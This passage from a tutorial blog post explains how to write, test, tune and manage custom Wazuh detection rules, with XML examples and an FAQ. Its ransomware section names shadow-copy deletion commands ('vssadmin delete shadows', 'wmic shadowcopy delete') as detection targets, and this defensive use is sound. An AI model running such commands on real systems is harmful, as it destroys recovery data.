Many mature SOCs rely heavily on event correlation because attackers rarely perform only a single malicious action.
Overriding Existing Wazuh Rules
Although creating child rules is usually preferred, there are situations where overriding existing rules makes sense.
Carefully applied overrides can help reduce false positives and better align detections with your environment.
When Rule Overrides Make Sense
Common scenarios include:
- Excessive alert volume
- Environment-specific behavior
- Internal applications triggering alerts
- Compliance requirements
- Different risk tolerance levels
The goal should be improving detection quality rather than suppressing alerts indiscriminately.
Creating Rule Exceptions
Suppose a known internal scanner regularly triggers a vulnerability detection.
Instead of disabling the detection entirely, you can create an exception for the scanner’s IP address.
Example:
<rule id="100900" level="0">
<if_sid>550</if_sid>
<field name="srcip">10.0.0.100</field>
<description>Ignore approved vulnerability scanner</description>
</rule>
Level 0 prevents alert generation while preserving processing logic.
Adjusting Alert Severity
Sometimes the detection is valid but the severity is inappropriate.
For example:
- Lower severity for expected activity
- Increase severity for critical assets
- Elevate alerts involving privileged accounts
Example:
<rule id="100901" level="12">
<if_sid>5710</if_sid>
<field name="user">administrator</field>
<description>Administrator authentication failure</description>
</rule>
Example Override Rule
The following rule suppresses alerts generated by a trusted monitoring system:
<rule id="100902" level="0">
<if_sid>5710</if_sid>
<field name="srcip">192.168.100.25</field>
<description>Ignore trusted monitoring source</description>
</rule>
This technique is commonly used to reduce noise without disabling useful detections globally.
Potential Risks and Considerations
Rule overrides should be implemented carefully.
Potential risks include:
Missed Threats
Overly broad exceptions can hide malicious activity.
Upgrade Complexity
Poorly documented overrides become difficult to maintain.
Excessive Suppression
Reducing alert volume too aggressively may eliminate valuable visibility.
Analyst Confusion
Undocumented overrides can make investigations more difficult.
Before overriding any rule:
- Understand the original detection.
- Verify the false-positive source.
- Test thoroughly.
- Document the change.
The safest approach is usually to create narrowly scoped exceptions rather than broad suppression rules.
Testing Custom Rules Before Production Deployment
Even a well-written rule can behave unexpectedly when exposed to real-world data.
Before deploying any custom detection into production, thoroughly test its behavior.
Testing helps identify:
- False positives
- Missed detections
- Decoder issues
- Regex problems
- Correlation errors
Using wazuh-logtest
The most important testing tool is:
/var/ossec/bin/wazuh-logtest
This utility allows you to simulate log events and observe how Wazuh processes them.
Start the utility:
/var/ossec/bin/wazuh-logtest
You’ll see a prompt where sample logs can be entered.
Injecting Sample Logs
Paste a representative event.
Example:
Failed password for invalid user admin from 192.168.1.50 port 55822 ssh2
Wazuh will then display:
- Decoder results
- Matching rules
- Generated alerts
This provides immediate feedback without waiting for live events.
Verifying Rule Matches
Review the output carefully.
Confirm that:
- The correct decoder matched
- The expected rule ID triggered
- The alert level is appropriate
- The description is accurate
- Correlation logic works as intended
Example output:
Rule ID: 100101
Level: 10
Description: Multiple SSH authentication failures detected
If the wrong rule fires, adjust the rule conditions and test again.
Troubleshooting Failed Matches
If your rule does not trigger, investigate the following areas.
Decoder Problems
Verify that fields are actually being extracted.
Check:
Phase 2: Completed decoding
within the logtest output.
Incorrect Field Names
Ensure field names match decoder output exactly.
For example:
<field name="win.system.eventID">
must match the decoded field name precisely.
Regex Errors
Validate regular expressions carefully.
Small syntax mistakes can prevent matching.
Parent Rule Issues
If using:
<if_sid>
or
<if_matched_sid>
verify that the referenced rule actually triggers.
Service Reload Problems
After updating rules:
sudo systemctl restart wazuh-manager
Then review:
/var/ossec/logs/ossec.log
for loading errors.
Security teams that invest time in testing typically achieve significantly higher detection quality and lower false-positive rates than teams that deploy rules directly into production without validation.
Official Wazuh Testing Guide: https://documentation.wazuh.com/current/user-manual/ruleset/testing.html
Troubleshooting Common Rule Issues
Even experienced Wazuh administrators occasionally encounter problems when creating custom detection rules.
Understanding the most common issues can dramatically reduce troubleshooting time and help you deploy reliable detections faster.
Rule Never Triggers
One of the most common complaints is:
“My rule loads successfully, but it never generates alerts.”
Several issues can cause this behavior.
Verify the Log Is Actually Being Collected
Before troubleshooting the rule itself, confirm that the event reaches the Wazuh Manager.
Check:
tail -f /var/ossec/logs/archives/archives.json
or
tail -f /var/ossec/logs/alerts/alerts.json
If the event never arrives, the problem is likely related to:
- Agent configuration
- Log collection settings
- Network communication
- Agent connectivity
If logs are not reaching the manager, see Wazuh Agent Not Connecting to Manager? 12 Fixes That Actually Work.
Verify Rule Conditions
Review all matching criteria carefully:
<field name="user">administrator</field>
Even small differences in capitalization or formatting can prevent a match.
Check Parent Rule Dependencies
If your rule uses:
<if_sid>5710</if_sid>
ensure that rule 5710 actually triggers first.
Use:
/var/ossec/bin/wazuh-logtest
to verify the parent rule behavior.
Decoder Does Not Match
A rule cannot evaluate fields that do not exist.
If the decoder fails, your rule may never trigger.
Example output:
Phase 1: Completed pre-decoding.
Phase 2: No decoder matched.
When this occurs:
- Review the raw log format
- Verify decoder compatibility
- Create a custom decoder if necessary
Many custom rule issues are actually decoder issues.
Confirm Extracted Fields
Use:
/var/ossec/bin/wazuh-logtest
and inspect the decoded output.
Example:
srcip: 192.168.1.50
user: admin
Your rule should reference these exact field names.
XML Syntax Errors
XML mistakes are extremely common.
Examples include:
Missing Closing Tag
Incorrect:
<description>Failed login detection
Correct:
<description>Failed login detection</description>
Unclosed Rule Block
Incorrect:
<rule id="100100" level="10">
Correct:
<rule id="100100" level="10">
</rule>
Validate XML
Use:
xmllint /var/ossec/etc/rules/local_rules.xml
before restarting the manager.
This simple step can prevent significant troubleshooting headaches.
Duplicate Rule IDs
Every rule ID must be unique.
This will cause errors:
<rule id="100100" level="5">
and later:
<rule id="100100" level="10">
Wazuh may reject the ruleset or load unexpected behavior.
To locate duplicates:
grep -R "id=\"100100\"" /var/ossec/
Establishing a structured rule-ID allocation strategy helps prevent collisions.
Manager Fails to Restart
After modifying rules, administrators sometimes encounter:
sudo systemctl restart wazuh-manager
followed by a startup failure.
Review:
cat /var/ossec/logs/ossec.log
Common causes include:
- XML syntax errors
- Invalid rule references
- Duplicate IDs
- Invalid regex expressions
- Incorrect rule nesting
The log file usually identifies the exact line causing the failure.
Unexpected False Positives
A technically correct rule can still generate excessive alerts.
Common causes include:
Broad Match Conditions
Example:
<match>admin</match>
This may match far more events than intended.
Aggressive Regex
Example:
<regex>.*</regex>
This effectively matches everything.
Missing Context
Instead of:
<match>failed</match>
consider:
<if_sid>5710</if_sid>
<field name="user">admin</field>
Adding context significantly improves detection accuracy.
Security monitoring expert Anton Chuvakin frequently emphasizes that high-quality detections depend more on precision than quantity.
Reducing false positives improves analyst effectiveness and helps ensure important alerts are not overlooked.
Wazuh Troubleshooting Documentation: https://documentation.wazuh.com/current/user-manual/troubleshooting/index.html
Best Practices for Creating Custom Rules
As your Wazuh deployment grows, following consistent detection engineering practices becomes increasingly important.
Well-designed rules are easier to maintain, generate fewer false positives, and remain effective through future upgrades.
Use Unique Rule IDs
Every custom rule should have a unique identifier.
A structured numbering system helps prevent conflicts and simplifies management.
Example:
100000-100999 Authentication Rules
101000-101999 Windows Monitoring
102000-102999 Linux Monitoring
103000-103999 Compliance Rules
Benefits include:
- Easier troubleshooting
- Reduced duplication
- Better documentation
- Simpler collaboration
Large security teams often reserve ID blocks for specific projects or departments.
Document Every Custom Rule
Every rule should answer:
- Why does it exist?
- What threat does it detect?
- Who requested it?
- When was it created?
- Who maintains it?
Example:
<!--
Detects repeated SSH authentication failures.
Created: 2026-05-15
Owner: Security Team
-->
Good documentation dramatically reduces future maintenance effort.
Start with Existing Rules First
Before creating a new rule:
- Search the default ruleset.
- Review parent rules.
- Check existing groups.
- Consider extending rather than replacing.
A simple child rule is often more effective than a completely new detection.
Example:
<if_sid>5710</if_sid>
instead of rebuilding SSH authentication logic from scratch.
Keep Rules Specific
Specific rules produce higher-quality alerts.
Avoid:
<match>login</match>
Prefer:
<if_sid>5710</if_sid>
<field name="user">administrator</field>
Specificity reduces:
- False positives
- Alert fatigue
- Analyst workload
Test Thoroughly Before Deployment
Never deploy an untested rule.
Recommended workflow:
- Create rule
- Validate XML
- Test using logtest
- Review output
- Deploy to staging
- Monitor behavior
- Deploy to production
Testing is particularly important when using:
- Regex
- Correlation
- Frequency thresholds
- Parent-child relationships
Monitor Rule Performance
A rule that worked six months ago may no longer be effective.
Track:
- Alert volume
- False-positive rate
- Investigation outcomes
- Detection coverage
Questions to ask:
- Is the rule still useful?
- Is it creating excessive noise?
- Has the environment changed?
Many mature SOCs regularly review detection performance metrics.
Review and Update Rules Regularly
Threats evolve continuously.
Regular reviews should include:
- New attack techniques
- Infrastructure changes
- New applications
- Compliance requirements
- Incident-response lessons learned
The detection engineering philosophy promoted by organizations such as the MITRE ATT&CK Framework emphasizes continuous improvement and adaptation rather than static detection content.
Managing Custom Rules at Scale
Creating a few custom rules is relatively simple.
Managing hundreds or thousands of rules across multiple environments requires a more structured approach.
Organizations with mature Wazuh deployments often treat detection content like software code, complete with version control, peer reviews, testing, and deployment processes.
Organizing Rules by Use Case
As your rule library grows, organization becomes critical.
Rather than storing everything in a single file, consider separating rules by category.
Examples:
authentication_rules.xml
windows_rules.xml
linux_rules.xml
compliance_rules.xml
application_rules.xml
Benefits include:
- Easier maintenance
- Faster troubleshooting
- Improved collaboration
- Better change management
Large rule files quickly become difficult to navigate.
Version Control for Rule Files
Version control provides:
- Change tracking
- Rollback capability
- Collaboration support
- Audit history
Without version control, it becomes difficult to determine:
- Who modified a rule
- Why it changed
- When it changed
Every production security team should maintain version history for detection content.
Using Git for Rule Management
Git is one of the most common solutions for managing custom Wazuh rules.
Example workflow:
git init
git add .
git commit -m "Added PowerShell detection rules"
Advantages include:
- Full change history
- Branching
- Pull requests
- Peer reviews
- Rollbacks
Many detection engineering teams maintain dedicated repositories for:
- Custom rules
- Custom decoders
- Active response scripts
- Documentation
Git Documentation: https://git-scm.com/doc
Deploying Rules Across Multiple Managers
Organizations often operate:
- Development environments
- Staging environments
- Production environments
- Multiple geographic regions
Manual deployment becomes difficult at scale.
Common approaches include:
- Git-based deployment
- Configuration management tools
- CI/CD pipelines
- Automated synchronization
Tools frequently used include:
- Git
- Ansible
- Puppet
- Chef
- Jenkins
- GitHub Actions
A structured deployment process reduces configuration drift between managers.
Maintaining Rule Documentation
Documentation becomes increasingly important as rule counts grow.
Each rule should ideally include:
| Field | Description |
|---|---|
| Rule ID | Unique identifier |
| Purpose | Detection objective |
| Owner | Responsible team |
| Severity | Alert level |
| Dependencies | Parent rules |
| Last Review Date | Maintenance tracking |
Documentation can be maintained:
- Within XML comments
- In Git repositories
- In internal wikis
- In security knowledge bases
Organizations that document their detection content consistently tend to onboard new analysts faster and maintain higher-quality security monitoring programs.
Wazuh Ruleset Management Documentation: https://documentation.wazuh.com/current/user-manual/ruleset/index.html
At this point, readers have everything they need to begin creating, testing, tuning, and managing custom Wazuh detection rules in both small and large-scale environments.
Real-World Custom Rule Use Cases
Understanding the mechanics of Wazuh rules is important, but the real value comes from solving practical security challenges.
The most effective custom rules are designed around specific business risks, threat scenarios, and operational requirements.
The following examples illustrate how organizations commonly use custom Wazuh detections in production environments.
Insider Threat Detection
Insider threats are often more difficult to detect than external attacks because the activity originates from legitimate accounts and trusted systems.
Custom rules can help identify unusual behavior such as:
- Accessing sensitive files outside business hours
- Downloading large volumes of data
- Repeated access to restricted resources
- Privileged account misuse
- Unusual login locations
Example detections:
Multiple access attempts to confidential files
Administrative account activity outside approved hours
Organizations frequently combine user monitoring rules with Active Directory events, VPN logs, and file integrity monitoring alerts to improve visibility.
If you’re interested in monitoring file changes and sensitive data access, see How to Configure File Integrity Monitoring (FIM) in Wazuh.
Ransomware Activity Detection
Modern ransomware attacks typically generate numerous indicators before encryption begins.
Custom rules can help identify:
- Mass file renaming
- Large-scale file deletions
- Shadow copy removal
- Suspicious PowerShell activity
- Known ransomware process execution
For example, a custom rule could detect:
vssadmin delete shadows
or
wmic shadowcopy delete
which are commonly used to prevent recovery.
According to guidance from the Cybersecurity and Infrastructure Security Agency (CISA), monitoring for ransomware precursors can significantly improve detection and response capabilities.
Many security teams create multi-stage rules that combine:
- PowerShell execution
- Privilege escalation
- Shadow copy deletion
- Mass file modifications
to identify ransomware behavior before encryption completes.
Unauthorized Administrative Actions
Administrative accounts represent high-value targets for attackers.
Custom detections often focus on:
- User account creation
- Group membership changes
- Privilege assignments
- Service creation
- Scheduled task creation
Examples include:
Administrator account added to Domain Admins
New privileged service installed
Monitoring administrative actions is particularly important in environments with strict compliance requirements.
Compliance Monitoring
Many organizations use custom Wazuh rules to satisfy compliance mandates.
Examples include:
- PCI DSS
- HIPAA
- ISO 27001
- SOC 2
- NIST 800-53
Custom compliance detections commonly monitor:
- Policy violations
- Unauthorized configuration changes
- Audit log tampering
- Failed access attempts
- Sensitive file modifications
Example:
Unauthorized modification of payment card data files
These detections can help demonstrate continuous monitoring during audits.
Cloud Infrastructure Monitoring
Organizations increasingly rely on cloud platforms such as:
- Amazon Web Services (AWS)
- Microsoft Azure
- Google Cloud Platform (GCP)
Custom cloud-focused rules can detect:
- New IAM users
- Privilege escalation
- Public storage exposure
- Security group modifications
- API abuse
Examples:
New AWS administrator account created
Cloud storage bucket made publicly accessible
Many organizations extend Wazuh’s built-in cloud detections to align with their internal security policies.
Application-Specific Security Monitoring
One of the most valuable uses of custom rules is monitoring proprietary applications.
Default rules typically cannot understand:
- Custom application logs
- Internal business processes
- Proprietary APIs
- Industry-specific workflows
Examples include:
- Fraud detection systems
- Healthcare applications
- Financial platforms
- Manufacturing software
- Internal business portals
Custom detections may identify:
Excessive failed transactions
Unauthorized API usage
Unexpected privilege changes inside a business application
These environment-specific detections often provide greater value than generic security alerts because they directly align with business risk.
Security monitoring expert Richard Bejtlich has long advocated that organizations develop detections tailored to their unique environments because attackers increasingly target organization-specific assets rather than relying solely on commodity attack techniques.
Frequently Asked Questions
Question: Where should custom Wazuh rules be stored?
Custom rules should generally be stored in:
/var/ossec/etc/rules/
Most administrators place their rules in:
/var/ossec/etc/rules/local_rules.xml
or create dedicated rule files such as:
windows_rules.xml
linux_rules.xml
authentication_rules.xml
Avoid editing files located in:
/var/ossec/ruleset/rules/
because these files are maintained by the Wazuh project and may be overwritten during upgrades.
Question: What rule ID range should I use for custom rules?
Wazuh does not require a single universal custom rule range, but many administrators use IDs above:
100000
Example:
100000–100999 Authentication
101000–101999 Windows
102000–102999 Linux
103000–103999 Compliance
The most important requirement is ensuring that custom IDs do not conflict with existing rules.
Question: Can custom rules override built-in Wazuh rules?
Yes.
Custom rules can:
- Extend existing rules
- Suppress alerts
- Modify severity levels
- Create exceptions
- Add additional conditions
This is commonly accomplished using:
<if_sid>
and related correlation mechanisms.
However, creating child rules is usually safer than modifying built-in rules directly.
Question: How do I disable a built-in rule?
A common approach is to create a local override rule that suppresses alerts.
Example:
<rule id="100950" level="0">
<if_sid>5710</if_sid>
<description>Suppress built-in alert</description>
</rule>
Setting the level to:
0
prevents alert generation while preserving rule processing.
Always test suppression rules carefully before deploying them to production.
Do custom rules survive Wazuh upgrades?
Yes, provided they are stored in:
/var/ossec/etc/rules/
This is one of the primary reasons Wazuh recommends storing custom content separately from the default ruleset.
Custom rules placed in:
/var/ossec/ruleset/rules/
may be overwritten during upgrades.
How can I reduce false positives in custom rules?
Several techniques help improve detection accuracy:
- Use decoded fields instead of raw text
- Build on existing parent rules
- Add context with
if_sid - Use frequency and timeframe thresholds
- Test extensively with production-like logs
- Continuously review alert volume
Example:
Instead of:
<match>admin</match>
use:
<if_sid>5710</if_sid>
<field name="user">admin</field>
More context generally leads to higher-quality alerts.
Question: What is the difference between a decoder and a rule?
This is one of the most common questions from new Wazuh users.
Decoder
A decoder extracts structured information from raw logs.
Example:
Raw log:
Failed login from 192.168.1.50 for user admin
Decoder output:
srcip=192.168.1.50
user=admin
Rule
A rule evaluates those extracted fields and determines whether an alert should be generated.
Example:
<field name="user">admin</field>
In simple terms:
- Decoder = extracts information
- Rule = makes decisions using that information
Understanding this distinction is critical when building advanced Wazuh detections.
Official Wazuh Rules and Decoders Documentation: https://documentation.wazuh.com/current/user-manual/ruleset/index.html
Conclusion
Custom detection rules are one of the most powerful capabilities available in Wazuh.
While the platform includes thousands of built-in detections, every organization has unique applications, workflows, infrastructure, and security requirements that cannot always be covered by default rules.
By creating custom rules, you can tailor Wazuh to detect the threats and activities that matter most to your environment.
Recap of the Custom Rule Creation Process
Throughout this guide, we covered the complete lifecycle of custom rule development:
- Understanding the Wazuh detection pipeline
- Learning how rules and decoders interact
- Finding and extending existing rules
- Creating custom rule logic
- Building field-based detections
- Using regular expressions
- Implementing multi-stage correlation
- Testing rules before deployment
- Troubleshooting common issues
- Managing rules at scale
These foundational skills form the basis of effective detection engineering within Wazuh.
Importance of Testing and Validation
A rule that appears correct on paper may behave very differently in production.
Before deploying any detection:
- Validate XML syntax
- Test with realistic logs
- Confirm decoder behavior
- Verify alert severity
- Review correlation logic
- Monitor for false positives
Tools such as:
/var/ossec/bin/wazuh-logtest
should be part of every administrator’s workflow.
Consistent testing improves alert quality, reduces analyst fatigue, and helps ensure important threats are not overlooked.
Building a Stronger Detection Strategy with Custom Rules
Effective detection engineering is not simply about generating alerts.
The goal is to create actionable, high-fidelity detections that help security teams identify and respond to real threats quickly.
The most successful Wazuh deployments typically focus on:
- Environment-specific monitoring
- Threat-informed detection engineering
- Continuous tuning
- Alert quality over quantity
- Regular rule reviews
Frameworks such as the MITRE ATT&CK Framework provide excellent guidance for mapping detections to real-world adversary behaviors and improving overall security visibility.
As your rule library matures, you’ll be able to detect increasingly sophisticated attack techniques while minimizing unnecessary noise.
Next Steps: Creating Custom Decoders and Advanced Correlation Rules
Once you’re comfortable creating custom rules, the next logical step is learning how to build custom decoders.
Custom decoders allow Wazuh to:
- Parse proprietary application logs
- Extract custom fields
- Support unique log formats
- Improve detection accuracy
You can then combine those decoders with:
- Multi-stage correlation rules
- Behavioral detections
- Threat hunting logic
- MITRE ATT&CK mapping
- Automated response workflows
Together, custom decoders and custom rules provide the foundation for a highly tailored detection strategy capable of monitoring virtually any environment.
Continue expanding your Wazuh expertise with:
- How to Integrate Wazuh with VirusTotal for Threat Intelligence
- How to Configure File Integrity Monitoring (FIM) in Wazuh
- How to Install a Wazuh Agent on Windows Server
- Wazuh vs OSSEC
- Wazuh vs OpenSearch
- Wazuh vs Splunk
By combining custom detection logic with threat intelligence, file integrity monitoring, endpoint visibility, and correlation rules, you can transform Wazuh into a highly capable security monitoring and threat detection platform.

Be First to Comment